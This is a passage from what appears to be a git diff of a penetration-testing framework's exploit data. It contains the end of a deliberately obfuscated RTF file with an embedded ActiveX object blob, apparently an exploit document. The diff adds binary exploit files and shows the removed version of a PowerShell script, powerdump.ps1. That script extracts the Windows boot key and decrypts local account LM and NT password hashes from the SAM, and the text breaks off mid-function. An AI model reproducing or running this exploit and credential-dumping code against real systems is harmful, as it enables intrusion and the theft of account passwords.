?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25 +{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}} +{\lfolevel}{\lfolevel}{\lfolevel} +\ls16962}} +{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000 +4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c +bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000 +0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000 +000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000 +560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00 +0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100 +6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18 +5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000 +0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400 +00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700 +69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000 +0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000 +0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00 +30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76 +f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500 +00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600 +0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e +4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400 +e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900 +660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400 +0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712 +2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000 +ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400 +0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000 +00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000 +985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00 +00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000 +100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800 +00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800 +050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24 +003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00 +0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053 +65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000 +0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001 +0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02 +000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902 +000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055 +0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400 +730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000 +050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000 +0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000 +26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000 +00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe +ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000 +0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400 +00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}} \ No newline at end of file diff --git a/data/exploits/ntapphelpcachecontrol/exploit.dll b/data/exploits/ntapphelpcachecontrol/exploit.dll new file mode 100755 index 0000000000..bb6987f00c Binary files /dev/null and b/data/exploits/ntapphelpcachecontrol/exploit.dll differ diff --git a/data/exploits/osx/nfs_mount_priv_escalation.bin b/data/exploits/osx/nfs_mount_priv_escalation.bin new file mode 100644 index 0000000000..fe182e5693 Binary files /dev/null and b/data/exploits/osx/nfs_mount_priv_escalation.bin differ diff --git a/data/exploits/powershell/powerdump.ps1 b/data/exploits/powershell/powerdump.ps1 index f8471b8167..0e88fac710 100755 --- a/data/exploits/powershell/powerdump.ps1 +++ b/data/exploits/powershell/powerdump.ps1 @@ -1 +1,382 @@ -function LoadApi { $oldErrorAction = $global:ErrorActionPreference; $global:ErrorActionPreference = "SilentlyContinue"; $test = [PowerDump.Native]; $global:ErrorActionPreference = $oldErrorAction; if ($test) { # already loaded return; } $code = @' using System; using System.Security.Cryptography; using System.Runtime.InteropServices; using System.Text; namespace PowerDump { public class Native { [DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( int hKey, string subKey, int ulOptions, int samDesired, out int hkResult); [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] extern public static int RegEnumKeyEx( int hkey, int index, StringBuilder lpName, ref int lpcbName, int reserved, StringBuilder lpClass, ref int lpcbClass, out long lpftLastWriteTime); [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] extern public static int RegQueryInfoKey( int hkey, StringBuilder lpClass, ref int lpcbClass, int lpReserved, out int lpcSubKeys, out int lpcbMaxSubKeyLen, out int lpcbMaxClassLen, out int lpcValues, out int lpcbMaxValueNameLen, out int lpcbMaxValueLen, out int lpcbSecurityDescriptor, IntPtr lpftLastWriteTime); [DllImport("advapi32.dll", SetLastError=true)] public static extern int RegCloseKey( int hKey); } } // end namespace PowerDump public class Shift { public static int Right(int x, int count) { return x >> count; } public static uint Right(uint x, int count) { return x >> count; } public static long Right(long x, int count) { return x >> count; } public static ulong Right(ulong x, int count) { return x >> count; } public static int Left(int x, int count) { return x << count; } public static uint Left(uint x, int count) { return x << count; } public static long Left(long x, int count) { return x << count; } public static ulong Left(ulong x, int count) { return x << count; } } '@ $provider = New-Object Microsoft.CSharp.CSharpCodeProvider $dllName = [PsObject].Assembly.Location $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters $assemblies = @("System.dll", $dllName) $compilerParameters.ReferencedAssemblies.AddRange($assemblies) $compilerParameters.GenerateInMemory = $true $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) if($compilerResults.Errors.Count -gt 0) { $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } } } $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); $odd_parity = @( 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ); function sid_to_key($sid) { $s1 = @(); $s1 += [char]($sid -band 0xFF); $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); $s1 += $s1[0]; $s1 += $s1[1]; $s1 += $s1[2]; $s2 = @(); $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; return ,((str_to_key $s1),(str_to_key $s2)); } function str_to_key($s) { $key = @(); $key += [Shift]::Right([int]($s[0]), 1 ); $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); $key += $([int]($s[6]) -band 0x7F); 0..7 | %{ $key[$_] = [Shift]::Left($key[$_], 1); $key[$_] = $odd_parity[$key[$_]]; } return ,$key; } function NewRC4([byte[]]$key) { return new-object Object | Add-Member NoteProperty key $key -PassThru | Add-Member NoteProperty S $null -PassThru | Add-Member ScriptMethod init { if (-not $this.S) { [byte[]]$this.S = 0..255; 0..255 | % -begin{[long]$j=0;}{ $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; } } } -PassThru | Add-Member ScriptMethod "encrypt" { $data = $args[0]; $this.init(); $outbuf = new-object byte[] $($data.Length); $S2 = $this.S[0..$this.S.Length]; 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { $i = ($i+1) % $S2.Length; $j = ($j + $S2[$i]) % $S2.Length; $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; $a = $data[$_]; $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; $outbuf[$_] = ($a -bxor $b); } return ,$outbuf; } -PassThru } function des_encrypt([byte[]]$data, [byte[]]$key) { return ,(des_transform $data $key $true) } function des_decrypt([byte[]]$data, [byte[]]$key) { return ,(des_transform $data $key $false) } function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) { $des = new-object Security.Cryptography.DESCryptoServiceProvider; $des.Mode = [Security.Cryptography.CipherMode]::ECB; $des.Padding = [Security.Cryptography.PaddingMode]::None; $des.Key = $key; $des.IV = $key; $transform = $null; if ($doEncrypt) {$transform = $des.CreateEncryptor();} else{$transform = $des.CreateDecryptor();} $result = $transform.TransformFinalBlock($data, 0, $data.Length); return ,$result; } function Get-RegKeyClass([string]$key, [string]$subkey) { switch ($Key) { "HKCR" { $nKey = 0x80000000} #HK Classes Root "HKCU" { $nKey = 0x80000001} #HK Current User "HKLM" { $nKey = 0x80000002} #HK Local Machine "HKU" { $nKey = 0x80000003} #HK Users "HKCC" { $nKey = 0x80000005} #HK Current Config default { throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" } } $KEYQUERYVALUE = 0x1; $KEYREAD = 0x19; $KEYALLACCESS = 0x3F; $result = ""; [int]$hkey=0 if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) { $classVal = New-Object Text.Stringbuilder 1024 [int]$len = 1024 if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) { $result = $classVal.ToString() } else { Write-Error "RegQueryInfoKey failed"; } [PowerDump.Native]::RegCloseKey($hkey) | Out-Null } else { Write-Error "Cannot open key"; } return $result; } function Get-BootKey { $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); $b = new-object byte[] $($s.Length/2); 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} $b2 = new-object byte[] 16; 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} return ,$b2; } function Get-HBootKey { param([byte[]]$bootkey); $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); $k = Get-Item HKLM:\SAM\SAM\Domains\Account; if (-not $k) {return $null} [byte[]]$F = $k.GetValue("F"); if (-not $F) {return $null} $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); $rc4 = NewRC4 $rc4key; return ,($rc4.encrypt($F[0x80..0x9F])); } function Get-UserName([byte[]]$V) { if (-not $V) {return $null}; $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; $len = [BitConverter]::ToInt32($V[0x10..0x13],0); return [Text.Encoding]::Unicode.GetString($V, $offset, $len); } function Get-UserHashes($u, [byte[]]$hbootkey) { [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; if ($u.HashOffset + 0x28 -lt $u.V.Length) { $lm_hash_offset = $u.HashOffset + 4; $nt_hash_offset = $u.HashOffset + 8 + 0x10; $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; } elseif ($u.HashOffset + 0x14 -lt $u.V.Length) { $nt_hash_offset = $u.HashOffset + 8; $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; } return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); } function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) { [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; # LM Hash if ($enc_lm_hash) { $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; } # NT Hash if ($enc_nt_hash) { $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash 